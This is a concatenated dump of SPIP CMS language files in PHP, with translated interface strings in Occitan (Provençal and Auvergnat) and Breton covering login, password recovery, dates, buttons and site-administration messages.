'login_non_securise' => 'Atencion, aqueu formulari es pas securizat.
Se volètz pas que vòstre mot de santa Clara siá
interceptat sus la ret, vougatz activar Javascript
dins vòstre navigador e',
'login_nouvelle_tentative' => 'novèl assai',
'login_par_ici' => 'Siatz registrat/ada... per aquí...',
'login_pass2' => 'Mot de santa Clara:',
'login_preferez_refuser' => '<b>Se vos agrada mai de refusar lei cookies</b>, un autre metòde de connexion (mens securizat) es a vòstra disposicion:',
'login_recharger' => 'tornar cargar aquela pagina',
'login_rester_identifie' => 'Restar identificat/ada quauquei jorns',
'login_retour_public' => 'Tornar au sit public',
'login_retour_site' => 'Tornar au sit public',
'login_retoursitepublic' => 'tornar au sit public',
'login_sans_cookiie' => 'Identificacion sensa cookie',
'login_sinscrire' => 's’inscriure',
'login_test_navigateur' => 'Assai navigador/tornar connectar',
'login_verifiez_navigateur' => '(pasmens verificatz que vòstre navigador aga pas servat vòstre mot de santa Clara en memòria...)',
// M
'module_fichiers_langues' => 'Fichiers de lenga',
// N
'navigateur_pas_redirige' => 'Se vòstre navigador es pas redirigit, clicatz aicí per contunhar.',
// O
'onglet_affacer_base' => 'Escafar la basa',
'onglet_auteur' => 'L’autor',
'onglet_contenu_site' => 'Contengut dau sit',
'onglet_evolution_visite_mod' => 'Evolucion',
'onglet_fonctions_avances' => 'Foncions avançadas',
'onglet_informations_personnelles' => 'Informacions personalas',
'onglet_interactivite' => 'Interactivitat',
'onglet_messagerie' => 'Messatjariá',
'onglet_repartition_rubrique' => 'Reparticion per rubricas',
'onglet_save_restaur_base' => 'Sauvagardar/restaurar la basa',
'onglet_vider_cache' => 'Vujar l’escondedor',
// P
'pass_choix_pass' => 'Vougatz chausir vòstre mot de santa Clara novèu:',
'pass_erreur' => 'Error',
'pass_erreur_acces_refuse' => '<b>Error :</b> podètz pus accedir a aqueu sit.',
'pass_erreur_code_inconnu' => '<b>Error :</b> aqueu còde correspònd a ges de vesitaire que pòsca accedir a aqueu sit.',
'pass_erreur_non_enregistre' => '<b>Error:</b> l’adreiça <tt>@email_oubli@</tt> es pas registrada sus aqueu sit.',
'pass_erreur_non_valide' => '<b>Error:</b> aquel e-mail <tt>@email_oubli@</tt> es pas valid!',
'pass_erreur_probleme_technique' => '<b>Error:</b> per amòr d’un problèma tecnic, l’e-mail se pòt pas mandar. ',
'pass_espace_prive_bla' => 'L’espaci privat d’aquest sit es dobèrt ai
vesitaires que se son inscrichs. Un còp registrat/ada,
poiretz consultar leis articles en cors de redaccion,
prepausar d’articles novèus e participar a totei lei forums.',
'pass_forum_bla' => 'Avètz demandat d’intervenir dins un forum
reservat ai vesitaires registrats.',
'pass_indiquez_cidessous' => 'Marcatz çai sota l’adreiça e-mail ont
vos registreriatz lo còp passat.
Recebretz un e-mail que vos bailarà lo biais de
tornar trobar vòstre accès.',
'pass_mail_passcookie' => '(aquò’s un messatge automatic)
Per tornar trobar vòstre accès au sit
@nom_site_spip@ (@adresse_site@)
Vougatz anar a l’adreiça seguenta:
@sendcookie@
Alora poiretz intrar un mot de santa Clara novèu
e vos tornar connectar au sit.
',
'pass_mot_oublie' => 'Mot de santa Clara demembrat',
'pass_nouveau_enregistre' => 'Vòstre mot de santa Clara novèu es estat registrat.',
'pass_nouveau_pass' => 'Mot de santa Clara novèu',
'pass_ok' => 'D’acòrdi',
'pass_oubli_mot' => 'Mot de santa Clara demembrat',
'pass_quitter_fenetre' => 'Quitar aquesta fenèstra ',
'pass_rappel_login' => 'Remembrança: vòstre identificant (login) es « @login@ ».',
'pass_recevoir_mail' => 'Recebretz un e-mail que vos explicarà coma tornar trobar vòstre accès au sit.',
'pass_retour_public' => 'Tornar au sit public',
'pass_rien_a_faire_ici' => 'Ren a faire aicí.',
'pass_vousinscrire' => 'S’inscriure sus aquest sit',
'precedent' => 'precedent',
'previsualisation' => 'Previsualizacion',
'previsualiser' => 'Previsualizar',
// S
'squelette' => 'esqueleta',
'squelette_inclus_ligne' => 'esqueleta inclusa, linha',
'squelette_ligne' => 'esqueleta, linha',
'stats_visites_et_popularite' => '@visites@ vesitas; popularitat: @popularite@',
'suivant' => 'seguent',
// T
'taille_ko' => '@taille@ Ko',
'taille_mo' => '@taille@ Mo',
'taille_octets' => '@taille@ octets',
'texte_actualite_site_1' => 'Quand vos seretz familharizat/ada amb l’interfàcia, poiretz clicar sus «',
'texte_actualite_site_2' => 'Interfàcia completa',
'texte_actualite_site_3' => '" per dobrir mai de possibilitats.',
'texte_creation_automatique_vignette' => 'La creacion automatica de vinhetas de previsualizacion es activada sus aqueu sit. S’installatz a partir d’aqueu formulari d’imatges au(ai) format(s) @gd_formats@, s’acompanharàn d’una vinheta d’una talha maximala de @taille_preview@ pixèls.',
'texte_documents_associes' => 'Lei documents seguents s’assòcian a l’article,
mai s’inserisson pas
directament. Segon la compaginacion dau sit public,
poiràn aparéisser sota forma de documents jonchs.',
'texte_erreur_mise_niveau_base' => 'Error de basa de donadas pendent la mesa a nivèu. L’imatge <b>@fichier@</b> es pas passat (article @id_article@).
Notatz ben aquela referéncia, tornatz assajar la mesa a
nivèu, e verificatz puei que leis imatges aparegan
encara dins leis articles.',
'texte_inc_auth_1' => 'Siatz identificat/ada coma
<b>@auth_login@</b>, mai aqueu login existís pas o pus dins la basa.
Assajatz de vos', # MODIF
'texte_inc_auth_2' => 'tornar connectar',
'texte_inc_auth_3' => ', après qu’auretz quitat eventualament, puei
tornat lançar vòstre navigador.',
'texte_inc_config' => 'Lei modificacions fachas dins aquestei paginas influéncian bravament lo
foncionament de vòstre sit. Vos aconselham de pas i intervenir tant que siatz pas
acostumat/ada au foncionament dau sistèma SPIP. <br /><br /><b>
En generau, se conselha fòrt
de laissar la carga d’aquestei paginas au webmèstre principau de vòstre sit.</b>',
'texte_inc_meta_1' => 'Lo sistèma a rescontrat una error dins l’escritura dau fichier <code>@fichier@</code>.Vougatz, coma administrator/tritz dau sit,',
'texte_inc_meta_2' => 'verificar lei drechs d’escritura',
'texte_inc_meta_3' => 'dins lo repertòri <code>@repertoire@</code>.',
'texte_statut_en_cours_redaction' => 'en cors de redaccion',
'texte_statut_poubelle' => 'au bordilhier',
'texte_statut_propose_evaluation' => 'prepausat per avaloracion',
'texte_statut_publie' => 'publicat en linha',
'texte_statut_refuse' => 'refusat',
'titre_ajouter_mot_cle' => 'APONDRE UN MOT CLAU:',
'titre_cadre_raccourcis' => 'ACORCHAS:',
'titre_changer_couleur_interface' => 'Cambiar la color de l’interfàcia',
'titre_image_admin_article' => 'Podètz administrar aquest article',
'titre_image_administrateur' => 'Administrator',
'titre_image_aide' => 'D’ajuda subre aquel element',
'titre_image_auteur_supprime' => 'Autor suprimit',
'titre_image_redacteur' => 'Redactor sens accès',
'titre_image_redacteur_02' => 'Redactor',
'titre_image_visiteur' => 'Vesitaire',
'titre_joindre_document' => 'JÓNHER UN DOCUMENT',
'titre_mots_cles' => 'MOTS CLAU',
'titre_probleme_technique' => 'Atencion: un problèma tecnic (servidor SQL) empacha d’accedir a aquela part dau sit. Grandmercé de vòstra indulgéncia.',
'titre_publier_document' => 'PUBLICAR UN DOCUMENT DINS AQUELA RUBRICA',
'titre_statistiques' => 'Estadisticas dau sit',
'titre_titre_document' => 'Títol dau document:',
'trad_reference' => '(article de referéncia)', # MODIF
// Z
'zbug_balise_b_aval' => ' : balisa B en avau',
'zbug_boucle' => 'bloca',
'zbug_boucle_recursive_undef' => 'bloca recursiva non definida', # MODIF
'zbug_champ_hors_boucle' => 'Camp @champ@ fòra bloca',
'zbug_champ_hors_motif' => 'Camp @champ@ en defòra d’una bloca de motiu @motif@', # MODIF
'zbug_code' => 'còde',
'zbug_critere_inconnu' => 'critèri inconegut @critere@', # MODIF
'zbug_distant_interdit' => 'extèrne enebit', # MODIF
'zbug_erreur_boucle_double' => 'BLOCA@id@: definicion dobla', # MODIF
'zbug_erreur_boucle_fermant' => 'BLOCA@id@: lo tag barrador manca', # MODIF
'zbug_erreur_boucle_syntaxe' => 'Sintaxi bloca incorrècta', # MODIF
'zbug_erreur_execution_page' => 'error d’execucion de la pagina', # MODIF
'zbug_erreur_filtre' => 'Error: filtre <b>« @filtre@ »</b> non definit', # MODIF
'zbug_erreur_meme_parent' => '{meme_parent} s’aplica ren qu’ai blocas (FORUMS) o (RUBRIQUES)', # MODIF
'zbug_erreur_squelette' => 'Error(s) dins l’esqueleta',
'zbug_info_erreur_squelette' => 'Error subre lo sit',
'zbug_inversion_ordre_inexistant' => 'inversion d’un òrdre inexistent', # MODIF
'zbug_parametres_inclus_incorrects' => 'Paramètres d’inclusion incorrèctes', # MODIF
'zbug_resultat' => 'resultat',
'zbug_serveur_indefini' => 'servidor SQL indefinit', # MODIF
'zbug_table_inconnue' => 'Taula SQL «@table@» inconeguda'
);
?>
public_br.php 0000666 00000007715 15252547432 0007245 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=br
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Degemer al lec’hienn', # MODIF
'articles' => 'Pennadoù',
'articles_auteur' => 'Pennadoù all ar skridaozer-mañ',
'articles_populaires' => 'Pennadoù lennet ar muiañ',
'articles_rubrique' => 'Pennadoù ar rubrikenn-mañ',
'aucun_article' => 'N’eus pennad ebet er chomlec’h-mañ',
'aucun_auteur' => 'N’eus skridaozer ebet er chomlec’h-mañ',
'aucun_site' => 'N’eus lec’hienn ebet er chomlec’h-mañ',
'aucune_breve' => 'N’eus berrskrid ebet er chomlec’h-mañ',
'aucune_rubrique' => 'N’eus rubrikenn ebet er chomlec’h-mañ',
'autres' => 'Re all',
'autres_breves' => 'Berrskridoù all',
'autres_groupes_mots_clefs' => 'Strolladoù gerioù-stur all',
'autres_sites' => 'Lec’hiennoù all',
// B
'bonjour' => 'Demat deoc’h',
// C
'commenter_site' => 'Ober evezhiadennoù diwar-benn al lec’hienn-mañ',
'copie_document_impossible' => 'N’eo ket posupl eilañ an teul',
// D
'date' => 'Deiziad',
'dernier_ajout' => 'Ouzhpennadenn ziwezhañ',
'dernieres_breves' => 'Berrskridoù diwezhañ',
'derniers_articles' => 'Pennadoù diwezhañ',
'derniers_commentaires' => 'Evezhiadennoù diwezhañ',
'derniers_messages_forum' => 'Kemennadennoù diwezhañ embannet er foromoù',
// E
'edition_mode_texte' => 'Aozañ e mod testenn',
'en_reponse' => 'O respont da :',
'en_resume' => 'Berr-ha-berr',
'envoyer_message' => 'Kas ur gemennadenn',
'espace_prive' => 'Lodenn brevez',
// F
'formats_acceptes' => 'Furmadoù aotreet : @formats@.',
// H
'hierarchie_site' => 'Gwezennadur al lec’hienn',
// J
'jours' => 'deizioù',
// L
'lien_connecter' => 'Kevreañ',
// M
'meme_auteur' => 'Gant ar skridaozer-mañ',
'meme_rubrique' => 'Er rubrikenn-mañ',
'memes_auteurs' => 'Gant ar skridaozerien-mañ',
'message' => 'Kemennadenn',
'messages_forum' => 'Kemennadennoù forom', # MODIF
'messages_recents' => 'Kemennadennoù forom diwezhañ',
'mots_clefs' => 'Gerioù-stur',
'mots_clefs_meme_groupe' => 'Gerioù-stur er strollad-mañ',
// N
'navigation' => 'Merdeiñ',
'nom' => 'Anv',
'nouveautes' => 'Nevezinti',
'nouveautes_web' => 'Nevezinti war ar gwiad',
'nouveaux_articles' => 'Pennadoù nevez',
'nouvelles_breves' => 'Berrskridoù nevez',
// P
'page_precedente' => 'Pajenn kent',
'page_suivante' => 'Pajenn war-lerc’h',
'par_auteur' => 'gant',
'participer_site' => 'Gallout a rit kemer perzh e buhez al lec’hienn ha kinnig pennadoù oc’h emezelañ amañ dindan. Diouzhtu e vo kaset ur postel deoc’h, ennañ ar c’hodoù ret evit dont-tre.',
'plan_site' => 'Steuñv al lec’hienn',
'popularite' => 'Brud vat',
'poster_message' => 'Kas ur gemennadenn',
'proposer_site' => 'Gallout a rit kinnig ul lec’hienn da ouzhpennañ er rubrikenn-mañ :',
// R
'repondre_article' => 'Respont d’ar pennad-mañ',
'repondre_breve' => 'Respont d’ar berrskrid-mañ',
'resultats_recherche' => 'Disoc’hoù an enklask',
'retour_debut_forums' => 'Distreiñ e deroù ar foromoù',
'rubrique' => 'Rubrikenn',
'rubriques' => 'Rubrikennoù',
// S
'signatures_petition' => 'Sinadurioù',
'site_realise_avec_spip' => 'Lec’hienn bet savet gant SPIP',
'sites_web' => 'Lec’hiennoù',
'sous_rubriques' => 'Isrummadoù',
'spam' => 'Strob',
'suite' => 'kenderc’hel',
'sur_web' => 'War ar Gwiad',
'syndiquer_rubrique' => 'Sindikadañ ar rubrikenn-mañ',
'syndiquer_site' => 'Sindikadañ al lec’hienn a-bezh',
// T
'texte_lettre_information' => 'Setu lizher kelaouiñ al lec’hienn',
'texte_lettre_information_2' => 'Enni emañ ar pennadoù hag ar berrskridoù embannet abaoe', # MODIF
// V
'ver_imprimer' => 'Stumm da voullañ',
'voir_en_ligne' => 'Gwelet enlinenn',
'voir_squelette' => 'Gwelet framm ar bajenn-mañ'
);
?>
spip_oc_auv.php 0000666 00000076614 15252547432 0007617 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=oc_auv
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://www.spip.net/oc',
'0_langue' => 'occitan (auvernhat) [oc_auv]',
'0_liste' => 'spip-oc@rezo.net',
'0_mainteneur' => 'Domergue Sumien: lenga.occitana@aprene.org ',
// A
'access_interface_graphique' => 'Tornar a l’interfàcia grafica completa',
'access_mode_texte' => 'Afichar l’interfàcia textuala simplificada',
'admin_debug' => 'desbugatge',
'admin_modifier_article' => 'Modificar aquel article',
'admin_modifier_auteur' => 'Modificar aquel autor',
'admin_modifier_breve' => 'Modificar aquela brèva',
'admin_modifier_mot' => 'Modificar aquel mot clau',
'admin_modifier_rubrique' => 'Modificar aquela rubrica',
'admin_recalculer' => 'Tornar calcular la pagina',
'alerte_maj_impossible' => '<b>Alèrta!</b> Quo es impossible d’actualizar la basa SQL vèrs la version @version@; benlèu i a un problèma relatiu au dreit de modificar la basa de donadas. Volhatz contactar vòstre auberjador.',
'analyse_xml' => 'Analisi XML',
'articles_recents' => 'Los articles mai recents',
'avis_archive_incorrect' => 'lo fichèir archiu z-es pas un fichèir SPIP',
'avis_archive_invalide' => 'lo fichèir archiu z-es pas valid',
'avis_attention' => 'ATENCION!',
'avis_champ_incorrect_type_objet' => 'Nom de champ incorrècte @name@ per objècte de tipe @type@',
'avis_colonne_inexistante' => 'La colomna @col@ existís pas',
'avis_erreur' => 'Error: vejatz çai sos',
'avis_erreur_connexion' => 'Error de connexion',
'avis_erreur_cookie' => 'problèma de cookie',
'avis_erreur_fonction_contexte' => 'Error de programacion. Chau pas cridar aquela foncion dins aquel contèxt.',
'avis_erreur_mysql' => 'Error SQL ',
'avis_erreur_sauvegarde' => 'Error dins la sauvagarda (@type@ @id_objet@)! ',
// B
'barre_a_accent_grave' => 'Inserir una A accent grèu majuscula',
'barre_aide' => 'Utilizar las ’corchas tipograficas per enrichir vòstra compaginacion',
'barre_e_accent_aigu' => 'Inserir una E accent agut majuscula',
'barre_eo' => 'Inserir una E dins l’O',
'barre_eo_maj' => 'Inserir una E dins l’O majuscula',
'barre_euro' => 'Inserir lo simbèu de l’èuro: €',
'barre_gras' => 'Metre en {{gras}}',
'barre_guillemets' => 'Enrodar amb de « vergetas »',
'barre_guillemets_simples' => 'Enrodar amb de „vergetas“',
'barre_intertitre' => 'Transformar en {{{intertítol}}}',
'barre_italic' => 'Metre en {italics}',
'barre_lien' => 'Transformar en [liam ipertèxt->http://...]',
'barre_lien_input' => 'Volhatz indicar l’adreiça de vòstre liam (podètz indicar una adreiça web sos la forma http://www.lomieusit.com o simplament indicar lo numèro d’un article d’aquel sit).',
'barre_note' => 'Transformar en [[Nòta de pè]]',
'barre_quote' => '<quote>Citar un messatge</quote>',
'bouton_changer' => 'Chamjar',
'bouton_chercher' => 'Cerchar',
'bouton_choisir' => 'Chausir',
'bouton_download' => 'Télécharger', # MODIF
'bouton_enregistrer' => 'Registrar',
'bouton_radio_desactiver_messagerie_interne' => 'Desactivar la messatjariá intèrna',
'bouton_radio_envoi_annonces' => 'Mandar los anoncis editoriaus',
'bouton_radio_non_envoi_annonces' => 'Pas mandar d’anoncis',
'bouton_radio_non_envoi_liste_nouveautes' => 'Pas mandar la tèira de las novetats',
'bouton_recharger_page' => 'tornar charjar aquela pagina',
'bouton_telecharger' => 'Telecharjar',
'bouton_upload' => 'Telecharjar', # MODIF
'bouton_valider' => 'Validar',
// C
'cal_apresmidi' => 'tantòst',
'cal_jour_entier' => 'jorn entièr',
'cal_matin' => 'matin',
'cal_par_jour' => 'chalendèir per jorn',
'cal_par_mois' => 'chalendèir per mes',
'cal_par_semaine' => 'chalendèir per setmana',
'confirm_changer_statut' => 'Atencion, avètz demandat de chamjar l’estatut d’aquel element. Desiratz de contunhar? ',
// D
'date_aujourdhui' => 'anuèi lo jorn',
'date_avant_jc' => 'avans lo Crist',
'date_dans' => 'd’aquí @delai@',
'date_de_mois_1' => '@j@ de girvèir',
'date_de_mois_10' => '@j@ d’octòbre',
'date_de_mois_11' => '@j@ de novembre',
'date_de_mois_12' => '@j@ de decembre',
'date_de_mois_2' => '@j@ de feurèir',
'date_de_mois_3' => '@j@ de març',
'date_de_mois_4' => '@j@ d’abriau',
'date_de_mois_5' => '@j@ de mai',
'date_de_mois_6' => '@j@ de junh',
'date_de_mois_7' => '@j@ de julh',
'date_de_mois_8' => '@j@ d’aost',
'date_de_mois_9' => '@j@ de setembre',
'date_demain' => 'deman',
'date_fmt_heures_minutes' => '@h@h@m@min',
'date_fmt_jour_heure' => '@jour@ a @heure@',
'date_fmt_jour_mois' => '@jourmois@',
'date_fmt_jour_mois_annee' => '@jourmois@ de @annee@',
'date_fmt_mois_annee' => '@nommois@ de @annee@',
'date_fmt_nomjour_date' => 'lo @nomjour@ @date@',
'date_heures' => 'oras',
'date_hier' => 'ièr',
'date_il_y_a' => 'fai @delai@',
'date_jnum1' => '1r',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'dimenge',
'date_jour_2' => 'diluns',
'date_jour_3' => 'dimars',
'date_jour_4' => 'dimècres',
'date_jour_5' => 'dijòus',
'date_jour_6' => 'divendres',
'date_jour_7' => 'dissabte',
'date_jours' => 'jorns',
'date_minutes' => 'minutas',
'date_mois' => 'mes',
'date_mois_1' => 'girvèir',
'date_mois_10' => 'octòbre',
'date_mois_11' => 'novembre',
'date_mois_12' => 'decembre',
'date_mois_2' => 'feurèir',
'date_mois_3' => 'març',
'date_mois_4' => 'abriau',
'date_mois_5' => 'mai',
'date_mois_6' => 'junh',
'date_mois_7' => 'julh',
'date_mois_8' => 'aost',
'date_mois_9' => 'setembre',
'date_saison_1' => 'ivèrn',
'date_saison_2' => 'prima',
'date_saison_3' => 'estiu',
'date_saison_4' => 'endarrèir',
'date_semaines' => 'setmana(s)',
'dirs_commencer' => 'per començar vertadèirament l’installacion',
'dirs_preliminaire' => 'Preliminar: <b>Reglar los dreits d’accès</b>',
'dirs_probleme_droits' => 'Problèma de dreits d’accès',
'dirs_repertoires_absents' => '<b>S’es pas trobat los repertòris seguents: <ul>@bad_dirs@.</ul> </b>
<p>Se pòt que venha d’un problèma de majusculas o minusculas mau mesas.
Verificatz que las minusculas e majusculas d’aqueles repertòris correspondan be amb quò afichat
çai sobre; s’es pas lo cas, tornatz nommar los repertòris amb vòstre logiciau FTP en corregir l’error.
</p><p>Un còp qu’auretz fait aquò, poiretz </p>',
'dirs_repertoires_suivants' => '<b>Los repertòris seguents son pas accessibles en escritura: <ul>@bad_dirs@.</ul> </b>
<p>Per adobar aquò, utilizatz vòstre client FTP a fin de reglar los dreits d’accès de chascun
d’aqueles repertòris. La guida d’installacion explica en detalh cossí chau procedir.
</p><p>Entre qu’auretz faita aquela manipulacion, poiretz </p>',
// E
'envoi_via_le_site' => 'Mandadís amb lo biais dau sit web',
// F
'fichier_introuvable' => 'S’es pas pogut trobar lo fichèir @fichier@.',
'form_deja_inscrit' => 'Sètz ja inscrit(a).',
'form_email_non_valide' => 'Vòstra adreiça e-mail es pas valida.',
'form_forum_access_refuse' => 'Podètz pas mai accedir vèrs aquel sit.',
'form_forum_bonjour' => 'Bonjorn @nom@,',
'form_forum_email_deja_enregistre' => 'Aquela adreiça e-mail ja z-es registrada, adoncas podètz utilizar vòstre mot de santa Clara costumèir.',
'form_forum_identifiant_mail' => 'Vos avèm mandat vòstre identificant novèl per e-mail.',
'form_forum_identifiants' => 'Identificants personaus',
'form_forum_indiquer_nom_email' => 'Indicatz aquí vòstre nom e vòstra adreiça e-mail. Vòstre identificant personau arribará regde, per e-mail.',
'form_forum_login' => 'login:',
'form_forum_message_auto' => '(quo es un messatge automatic)',
'form_forum_pass' => 'mot de santa Clara:',
'form_forum_probleme_mail' => 'Problèma d’e-mail: se pòt pas mandar l’identificant.',
'form_forum_voici1' => 'Veiquí vòstres identificants per poder participar aus forums
dau sit "@nom_site_spip@" (@adresse_site@):',
'form_forum_voici2' => 'Veiquí vòstres identificants per prepausar d’articles
sobre lo sit "@nom_site_spip@" (@adresse_login@):',
'form_indiquer_email' => 'Volhatz indicar vòstra adreiça e-mail.',
'form_indiquer_nom' => 'Volhatz indicar vòstre nom.',
'form_indiquer_nom_site' => 'Volhatz indicar lo nom de vòstre sit.',
'form_pet_deja_enregistre' => 'Ja aquel sit es registrat',
'form_pet_signature_pasprise' => 'Vòstra signatura es pas presa en compte.',
'form_prop_confirmer_envoi' => 'Confirmar l’enviament',
'form_prop_description' => 'Descripcion/comentari',
'form_prop_enregistre' => 'Vòstra proposicion es plan registrada, apareisserá en linha entre que los responsables dau sit l’aurán validada .',
'form_prop_envoyer' => 'Mandar un messatge',
'form_prop_indiquer_email' => 'Volhatz indicar una adreiça e-mail valida',
'form_prop_indiquer_nom_site' => 'Volhatz indicar lo nom dau sit.',
'form_prop_indiquer_sujet' => 'Volhatz indicar un subjècte',
'form_prop_message_envoye' => 'Messatge mandat',
'form_prop_non_enregistre' => 'Vòstra proposicion es pas estada registrada.',
'form_prop_sujet' => 'Subjècte',
'form_prop_url_site' => 'Adreiça (URL) dau sit', # MODIF
'forum_non_inscrit' => 'Siá sètz pas inscrit(a), siá avètz fait una error d’adreiça o de mot de santa Clara. ',
'forum_par_auteur' => 'per @auteur@',
'forum_titre_erreur' => 'Error...',
// I
'ical_texte_rss_articles' => 'Lo fichèir "backend" daus articles d’aqueste sit se tròba a l’adreiça:',
'ical_texte_rss_articles2' => 'Aitanben podètz obténer de fichèirs "backend" per los articles de chasca rubrica dau sit:',
'ical_texte_rss_breves' => 'Existisson mai que d’un fichèir contenent las brèvas dau sit. En precisar un numèro de rubrica, obtendretz mas las brèvas de la rubrica aquela.',
'icone_a_suivre' => 'De sègre',
'icone_admin_site' => 'Administracion dau sit',
'icone_agenda' => 'Agenda e messatjariá',
'icone_aide_ligne' => 'Ajuda',
'icone_articles' => 'Articles',
'icone_auteurs' => 'Autors',
'icone_brouteur' => 'Navigacion rapida',
'icone_configuration_site' => 'Configuracion',
'icone_configurer_site' => 'Configurar vòstre sit',
'icone_creer_nouvel_auteur' => 'Crear un autor nuòu',
'icone_creer_rubrique' => 'Crear una rubrica',
'icone_creer_sous_rubrique' => 'Crear una sosrubrica',
'icone_deconnecter' => 'Se desconnectar',
'icone_discussions' => 'Discussions',
'icone_doc_rubrique' => 'Documents de las rubricas',
'icone_ecrire_article' => 'Escriure un article nuòu',
'icone_edition_site' => 'Edicion',
'icone_gestion_langues' => 'Gestion de las lengas',
'icone_informations_personnelles' => 'Informacions personalas',
'icone_interface_complet' => 'Interfàcia completa',
'icone_interface_simple' => 'Interfàcia simplificada',
'icone_maintenance_site' => 'Mantenença dau sit',
'icone_messagerie_personnelle' => 'Messatjariá personala',
'icone_repartition_debut' => 'Afichar la reparticion dempuèi l’emprimèir',
'icone_rubriques' => 'Rubricas',
'icone_sauver_site' => 'Sauvagarda dau sit',
'icone_site_entier' => 'Tot lo sit ',
'icone_sites_references' => 'Sits referenciats',
'icone_statistiques' => 'Estadisticas dau sit',
'icone_suivi_activite' => 'Sègre la vida dau sit',
'icone_suivi_actualite' => 'Evolucion dau sit',
'icone_suivi_pettions' => 'Sègre/gerir las peticions',
'icone_suivi_revisions' => 'Modificacions daus articles',
'icone_supprimer_document' => 'Suprimir aquel document',
'icone_supprimer_image' => 'Suprimir aquel imatge',
'icone_tous_articles' => 'Totes vòstres articles ',
'icone_tous_auteur' => 'Totes los autors ',
'icone_visiter_site' => 'Vesitar', # MODIF
'icone_voir_en_ligne' => 'Veire en linha',
'img_indisponible' => 'imatge indisponible',
'info_a_suivre' => 'DE SÈGRE>>',
'info_acces_interdit' => 'Accès proïbit',
'info_acces_refuse' => 'Accès refusat',
'info_action' => 'Accion: @action@',
'info_administrer_rubriques' => 'Podètz administrar aquela rubrica e sas sosrubricas',
'info_adresse_non_indiquee' => 'Avètz pas indicat l’adreiça de testar!',
'info_aide' => 'AJUDA:',
'info_ajouter_mot' => 'Apondre aquel mot',
'info_annonce' => 'ANONCI',
'info_annonces_generales' => 'Anoncis generaus:',
'info_article_propose' => 'Article prepausat',
'info_article_publie' => 'Article publicat',
'info_article_redaction' => 'Article en cors de redaccion',
'info_article_refuse' => 'Article refusat',
'info_article_supprime' => 'Article suprimit',
'info_articles' => 'Articles',
'info_articles_a_valider' => 'Los articles de validar',
'info_articles_proposes' => 'Articles prepausats',
'info_auteurs_nombre' => 'autor(s)',
'info_authentification_ftp' => 'autentificacion (per FTP).',
'info_breves_2' => 'brèvas',
'info_connexion_refusee' => 'Connexion refusada',
'info_contact_developpeur' => 'Volhatz contactar un desvolopaire.',
'info_contenance' => 'Aquel sit conten:',
'info_contribution' => 'Contribucions de forum', # MODIF
'info_copyright' => '@spip@ z-es un logiciau liure distribuit @lien_gpl@.',
'info_copyright_doc' => 'Per mai d’informacions, veire lo sit <a href="@spipnet@">http://www.spip.net/oc</a>.', # MODIF
'info_copyright_gpl' => 'sos licéncia GPL',
'info_cours_edition' => 'Vòstres articles en cors de redaccion',
'info_creer_repertoire' => 'Volhatz crear un fichèir o un repertòri nommat',
'info_creer_repertoire_2' => 'endins lo sosrepertòri <b>@repertoire@</b>, puèi:',
'info_creer_vignette' => 'creacion automatica de la vinheta',
'info_deplier' => 'Desplejar',
'info_descriptif_nombre' => 'descriptiu(s):',
'info_description' => 'Descripcion:',
'info_description_2' => 'Descripcion:',
'info_dimension' => 'Dimensions:',
'info_ecire_message_prive' => 'Escriure un messatge privat',
'info_email_invalide' => 'Adreiça e-mail invalida',
'info_en_cours_validation' => 'Vòstres articles en cors de redaccion',
'info_en_ligne' => 'Ara en linha:',
'info_envoyer_message_prive' => 'Mandar un messatge privat a aquel autor',
'info_erreur_requete' => 'Error dins la requèsta',
'info_erreur_squelette2' => 'Ges d’esqueleta <b>@fichier@</b> z-es disponibla...',
'info_erreur_systeme' => 'Error sistèma (errno @errsys@)',
'info_erreur_systeme2' => 'Lo disc dur es benlèu plen, o la basa de donadas degalhada.<br />
<span style="color:red;">’Sajatz de <a href=\'@script@\'>reparar la basa</a>, o contactatz vòstre auberjador.</span>',
'info_fini' => 'Quo es ’chabat!',
'info_format_image' => 'Formats d’imatges que se pòdon utilizar per crear de vinhetas: @gd_formats@.',
'info_format_non_defini' => 'format non definit',
'info_grand_ecran' => 'Ecran grand ',
'info_image_aide' => 'AJUDA',
'info_image_process_titre' => 'Metòde de fabricacion de las vinhetas',
'info_impossible_lire_page' => '<b>Error!</b> Impossible de legir la pagina <tt><html>@test_proxy@</html></tt> a travèrs dau proxy <tt>',
'info_installation_systeme_publication' => 'Installacion dau sistèma de publicacion...',
'info_installer_documents' => 'Podètz installar automaticament totes los documents contenguts dins lo repertòri @upload@.',
'info_installer_ftp' => 'Coma administrator, podètz installar (per FTP) de fichèirs dins lo dorsèir @upload@, puèi los seleccionar dirèctament aicí.',
'info_installer_images' => 'Podètz installar d’imatges aus formats JPEG, GIF e PNG.',
'info_installer_images_dossier' => 'Installar d’imatges dins lo dorsèir @upload@ per los poder seleccionar aicí.',
'info_interface_complete' => 'Interfàcia completa',
'info_interface_simple' => 'Interfàcia simplificada',
'info_joindre_document_article' => 'Podètz jónher a aquel article de documents de la mena de',
'info_joindre_document_rubrique' => 'Podètz apondre a aquela rubrica de documents de la mena de',
'info_joindre_documents_article' => 'Podètz jónher a aquel article de documents de la mena de:',
'info_l_article' => 'l’article',
'info_la_breve' => 'la brèva',
'info_la_rubrique' => 'la rubrica',
'info_langue_principale' => 'Lenga majorala dau sit',
